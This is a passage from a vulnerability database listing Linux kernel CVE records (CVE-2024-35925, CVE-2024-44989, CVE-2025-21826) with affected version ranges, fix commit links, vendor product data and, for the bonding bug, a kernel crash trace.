              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.155",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.155",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: prevent division by zero in blk_rq_stat_sum()\n\nThe expression dst-\u003enr_samples + src-\u003enr_samples may\nhave zero value on overflow. It is necessary to add\na check to avoid division by zero.\n\nFound by Linux Verification Center (linuxtesting.org) with Svace."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:51.629Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6a55dab4ac956deb23690eedd74e70b892a378e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/edd073c78d2bf48c5b8bf435bbc3d61d6e7c6c14"
        },
        {
          "url": "https://git.kernel.org/stable/c/b0cb5564c3e8e0ee0a2d28c86fa7f02e82d64c3c"
        },
        {
          "url": "https://git.kernel.org/stable/c/21e7d72d0cfcbae6042d498ea2e6f395311767f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/512a01da7134bac8f8b373506011e8aaa3283854"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f7fd6aa4c4877d77133ea86c14cf256f390b2fe"
        },
        {
          "url": "https://git.kernel.org/stable/c/98ddf2604ade2d954bf5ec193600d5274a43fd68"
        },
        {
          "url": "https://git.kernel.org/stable/c/93f52fbeaf4b676b21acfe42a5152620e6770d02"
        }
      ],
      "title": "block: prevent division by zero in blk_rq_stat_sum()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35925",
    "datePublished": "2024-05-19T10:10:35.708Z",
    "dateReserved": "2024-05-17T13:50:33.126Z",
    "dateUpdated": "2026-05-12T11:52:54.531Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44989 (GCVE-0-2024-44989)

Vulnerability from cvelistv5 – Published: 2024-09-04 19:54 – Updated: 2026-05-12 11:57

Title

bonding: fix xfrm real_dev null pointer dereference

Summary

In the Linux kernel, the following vulnerability has been resolved: bonding: fix xfrm real_dev null pointer dereference We shouldn't set real_dev to NULL because packets can be in transit and xfrm might call xdo_dev_offload_ok() in parallel. All callbacks assume real_dev is set. Example trace: kernel: BUG: unable to handle page fault for address: 0000000000001030 kernel: bond0: (slave eni0np1): making interface the new active one kernel: #PF: supervisor write access in kernel mode kernel: #PF: error_code(0x0002) - not-present page kernel: PGD 0 P4D 0 kernel: Oops: 0002 [#1] PREEMPT SMP kernel: CPU: 4 PID: 2237 Comm: ping Not tainted 6.7.7+ #12 kernel: Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014 kernel: RIP: 0010:nsim_ipsec_offload_ok+0xc/0x20 [netdevsim] kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA kernel: Code: e0 0f 0b 48 83 7f 38 00 74 de 0f 0b 48 8b 47 08 48 8b 37 48 8b 78 40 e9 b2 e5 9a d7 66 90 0f 1f 44 00 00 48 8b 86 80 02 00 00 <83> 80 30 10 00 00 01 b8 01 00 00 00 c3 0f 1f 80 00 00 00 00 0f 1f kernel: bond0: (slave eni0np1): making interface the new active one kernel: RSP: 0018:ffffabde81553b98 EFLAGS: 00010246 kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA kernel: kernel: RAX: 0000000000000000 RBX: ffff9eb404e74900 RCX: ffff9eb403d97c60 kernel: RDX: ffffffffc090de10 RSI: ffff9eb404e74900 RDI: ffff9eb3c5de9e00 kernel: RBP: ffff9eb3c0a42000 R08: 0000000000000010 R09: 0000000000000014 kernel: R10: 7974203030303030 R11: 3030303030303030 R12: 0000000000000000 kernel: R13: ffff9eb3c5de9e00 R14: ffffabde81553cc8 R15: ffff9eb404c53000 kernel: FS: 00007f2a77a3ad00(0000) GS:ffff9eb43bd00000(0000) knlGS:0000000000000000 kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 kernel: CR2: 0000000000001030 CR3: 00000001122ab000 CR4: 0000000000350ef0 kernel: bond0: (slave eni0np1): making interface the new active one kernel: Call Trace: kernel: <TASK> kernel: ? __die+0x1f/0x60 kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA kernel: ? page_fault_oops+0x142/0x4c0 kernel: ? do_user_addr_fault+0x65/0x670 kernel: ? kvm_read_and_reset_apf_flags+0x3b/0x50 kernel: bond0: (slave eni0np1): making interface the new active one kernel: ? exc_page_fault+0x7b/0x180 kernel: ? asm_exc_page_fault+0x22/0x30 kernel: ? nsim_bpf_uninit+0x50/0x50 [netdevsim] kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA kernel: ? nsim_ipsec_offload_ok+0xc/0x20 [netdevsim] kernel: bond0: (slave eni0np1): making interface the new active one kernel: bond_ipsec_offload_ok+0x7b/0x90 [bonding] kernel: xfrm_output+0x61/0x3b0 kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA kernel: ip_push_pending_frames+0x56/0x80

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/21816b696c172c19d…
https://git.kernel.org/stable/c/2f72c6a66bcd7e018…
https://git.kernel.org/stable/c/7fa9243391ad2afe7…
https://git.kernel.org/stable/c/4582d4ff413a07d4e…
https://git.kernel.org/stable/c/89fc1dca79db5c3e7…
https://git.kernel.org/stable/c/f8cde9805981c50d0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 21816b696c172c19d53a30d45ee005cce246ed21 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 2f72c6a66bcd7e0187ec085237fee5db27145294 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 7fa9243391ad2afe798ef4ea2e2851947b95754f (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 4582d4ff413a07d4ed8a4823c652dc5207760548 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < 89fc1dca79db5c3e7a2d589ecbf8a3661c65f436 (git) Affected: 18cb261afd7bf50134e5ccacc5ec91ea16efadd4 , < f8cde9805981c50d0c029063dc7d82821806fc44 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.225 , ≤ 5.10.* (semver) Unaffected: 5.15.166 , ≤ 5.15.* (semver) Unaffected: 6.1.107 , ≤ 6.1.* (semver) Unaffected: 6.6.48 , ≤ 6.6.* (semver) Unaffected: 6.10.7 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44989",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-04T20:19:50.219529Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-04T20:20:52.769Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:14:43.608Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:26.653Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/bonding/bond_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "21816b696c172c19d53a30d45ee005cce246ed21",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "2f72c6a66bcd7e0187ec085237fee5db27145294",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "7fa9243391ad2afe798ef4ea2e2851947b95754f",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "4582d4ff413a07d4ed8a4823c652dc5207760548",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "89fc1dca79db5c3e7a2d589ecbf8a3661c65f436",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            },
            {
              "lessThan": "f8cde9805981c50d0c029063dc7d82821806fc44",
              "status": "affected",
              "version": "18cb261afd7bf50134e5ccacc5ec91ea16efadd4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/bonding/bond_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.225",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.166",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.107",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.48",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.225",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.166",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.107",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.48",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.7",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: fix xfrm real_dev null pointer dereference\n\nWe shouldn\u0027t set real_dev to NULL because packets can be in transit and\nxfrm might call xdo_dev_offload_ok() in parallel. All callbacks assume\nreal_dev is set.\n\n Example trace:\n kernel: BUG: unable to handle page fault for address: 0000000000001030\n kernel: bond0: (slave eni0np1): making interface the new active one\n kernel: #PF: supervisor write access in kernel mode\n kernel: #PF: error_code(0x0002) - not-present page\n kernel: PGD 0 P4D 0\n kernel: Oops: 0002 [#1] PREEMPT SMP\n kernel: CPU: 4 PID: 2237 Comm: ping Not tainted 6.7.7+ #12\n kernel: Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014\n kernel: RIP: 0010:nsim_ipsec_offload_ok+0xc/0x20 [netdevsim]\n kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA\n kernel: Code: e0 0f 0b 48 83 7f 38 00 74 de 0f 0b 48 8b 47 08 48 8b 37 48 8b 78 40 e9 b2 e5 9a d7 66 90 0f 1f 44 00 00 48 8b 86 80 02 00 00 \u003c83\u003e 80 30 10 00 00 01 b8 01 00 00 00 c3 0f 1f 80 00 00 00 00 0f 1f\n kernel: bond0: (slave eni0np1): making interface the new active one\n kernel: RSP: 0018:ffffabde81553b98 EFLAGS: 00010246\n kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA\n kernel:\n kernel: RAX: 0000000000000000 RBX: ffff9eb404e74900 RCX: ffff9eb403d97c60\n kernel: RDX: ffffffffc090de10 RSI: ffff9eb404e74900 RDI: ffff9eb3c5de9e00\n kernel: RBP: ffff9eb3c0a42000 R08: 0000000000000010 R09: 0000000000000014\n kernel: R10: 7974203030303030 R11: 3030303030303030 R12: 0000000000000000\n kernel: R13: ffff9eb3c5de9e00 R14: ffffabde81553cc8 R15: ffff9eb404c53000\n kernel: FS:  00007f2a77a3ad00(0000) GS:ffff9eb43bd00000(0000) knlGS:0000000000000000\n kernel: CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n kernel: CR2: 0000000000001030 CR3: 00000001122ab000 CR4: 0000000000350ef0\n kernel: bond0: (slave eni0np1): making interface the new active one\n kernel: Call Trace:\n kernel:  \u003cTASK\u003e\n kernel:  ? __die+0x1f/0x60\n kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA\n kernel:  ? page_fault_oops+0x142/0x4c0\n kernel:  ? do_user_addr_fault+0x65/0x670\n kernel:  ? kvm_read_and_reset_apf_flags+0x3b/0x50\n kernel: bond0: (slave eni0np1): making interface the new active one\n kernel:  ? exc_page_fault+0x7b/0x180\n kernel:  ? asm_exc_page_fault+0x22/0x30\n kernel:  ? nsim_bpf_uninit+0x50/0x50 [netdevsim]\n kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA\n kernel:  ? nsim_ipsec_offload_ok+0xc/0x20 [netdevsim]\n kernel: bond0: (slave eni0np1): making interface the new active one\n kernel:  bond_ipsec_offload_ok+0x7b/0x90 [bonding]\n kernel:  xfrm_output+0x61/0x3b0\n kernel: bond0: (slave eni0np1): bond_ipsec_add_sa_all: failed to add SA\n kernel:  ip_push_pending_frames+0x56/0x80"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:33:18.785Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/21816b696c172c19d53a30d45ee005cce246ed21"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f72c6a66bcd7e0187ec085237fee5db27145294"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fa9243391ad2afe798ef4ea2e2851947b95754f"
        },
        {
          "url": "https://git.kernel.org/stable/c/4582d4ff413a07d4ed8a4823c652dc5207760548"
        },
        {
          "url": "https://git.kernel.org/stable/c/89fc1dca79db5c3e7a2d589ecbf8a3661c65f436"
        },
        {
          "url": "https://git.kernel.org/stable/c/f8cde9805981c50d0c029063dc7d82821806fc44"
        }
      ],
      "title": "bonding: fix xfrm real_dev null pointer dereference",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44989",
    "datePublished": "2024-09-04T19:54:36.858Z",
    "dateReserved": "2024-08-21T05:34:56.671Z",
    "dateUpdated": "2026-05-12T11:57:26.653Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21826 (GCVE-0-2025-21826)

Vulnerability from cvelistv5 – Published: 2025-03-06 16:04 – Updated: 2026-05-12 12:03

Title

netfilter: nf_tables: reject mismatching sum of field_len with set key length

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: reject mismatching sum of field_len with set key length The field length description provides the length of each separated key field in the concatenation, each field gets rounded up to 32-bits to calculate the pipapo rule width from pipapo_init(). The set key length provides the total size of the key aligned to 32-bits. Register-based arithmetics still allows for combining mismatching set key length and field length description, eg. set key length 10 and field description [ 5, 4 ] leading to pipapo width of 12.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/6b467c8feac759f4c…
https://git.kernel.org/stable/c/5083a7ae45003456c…
https://git.kernel.org/stable/c/2ac254343d3cf228a…
https://git.kernel.org/stable/c/82e491e0857190681…
https://git.kernel.org/stable/c/49b7182b97bafbd56…
https://git.kernel.org/stable/c/ab50d0eff4a939d20…
https://git.kernel.org/stable/c/1b9335a8000fb7074…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2d4c0798a1ef8db15b3277697ac2def4eda42312 , < 6b467c8feac759f4c5c86d708beca2aa2b29584f (git) Affected: 77be8c495a3f841e88b46508cc20d3d7d3289da3 , < 5083a7ae45003456c253e981b30a43f71230b4a3 (git) Affected: 9cb084df01e198119de477ac691d682fb01e80f3 , < 2ac254343d3cf228ae0738b2615fedf85d000752 (git) Affected: dc45bb00e66a33de1abb29e3d587880e1d4d9a7e , < 82e491e085719068179ff6a5466b7387cc4bbf32 (git) Affected: 3ce67e3793f48c1b9635beb9bb71116ca1e51b58 , < 49b7182b97bafbd5645414aff054b4a65d05823d (git) Affected: 3ce67e3793f48c1b9635beb9bb71116ca1e51b58 , < ab50d0eff4a939d20c37721fd9766347efcdb6f6 (git) Affected: 3ce67e3793f48c1b9635beb9bb71116ca1e51b58 , < 1b9335a8000fb70742f7db10af314104b6ace220 (git) Affected: ff67e3e488090908dc015ba04d7407d8bd467f7e (git)
Linux	Linux	Affected: 6.8 Unaffected: 0 , < 6.8 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:57.565Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:59.800Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6b467c8feac759f4c5c86d708beca2aa2b29584f",
              "status": "affected",
              "version": "2d4c0798a1ef8db15b3277697ac2def4eda42312",
              "versionType": "git"
            },
            {
              "lessThan": "5083a7ae45003456c253e981b30a43f71230b4a3",
              "status": "affected",
              "version": "77be8c495a3f841e88b46508cc20d3d7d3289da3",
              "versionType": "git"
            },
            {
              "lessThan": "2ac254343d3cf228ae0738b2615fedf85d000752",
              "status": "affected",
              "version": "9cb084df01e198119de477ac691d682fb01e80f3",
              "versionType": "git"
            },
            {
              "lessThan": "82e491e085719068179ff6a5466b7387cc4bbf32",
              "status": "affected",
              "version": "dc45bb00e66a33de1abb29e3d587880e1d4d9a7e",
              "versionType": "git"
            },
            {
              "lessThan": "49b7182b97bafbd5645414aff054b4a65d05823d",
              "status": "affected",
              "version": "3ce67e3793f48c1b9635beb9bb71116ca1e51b58",
              "versionType": "git"
            },
            {
              "lessThan": "ab50d0eff4a939d20c37721fd9766347efcdb6f6",
              "status": "affected",
              "version": "3ce67e3793f48c1b9635beb9bb71116ca1e51b58",
              "versionType": "git"
            },
            {
              "lessThan": "1b9335a8000fb70742f7db10af314104b6ace220",
              "status": "affected",
              "version": "3ce67e3793f48c1b9635beb9bb71116ca1e51b58",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "ff67e3e488090908dc015ba04d7407d8bd467f7e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.8"
            },
            {
              "lessThan": "6.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.209",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.148",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "6.1.75",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "6.6.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "6.8",
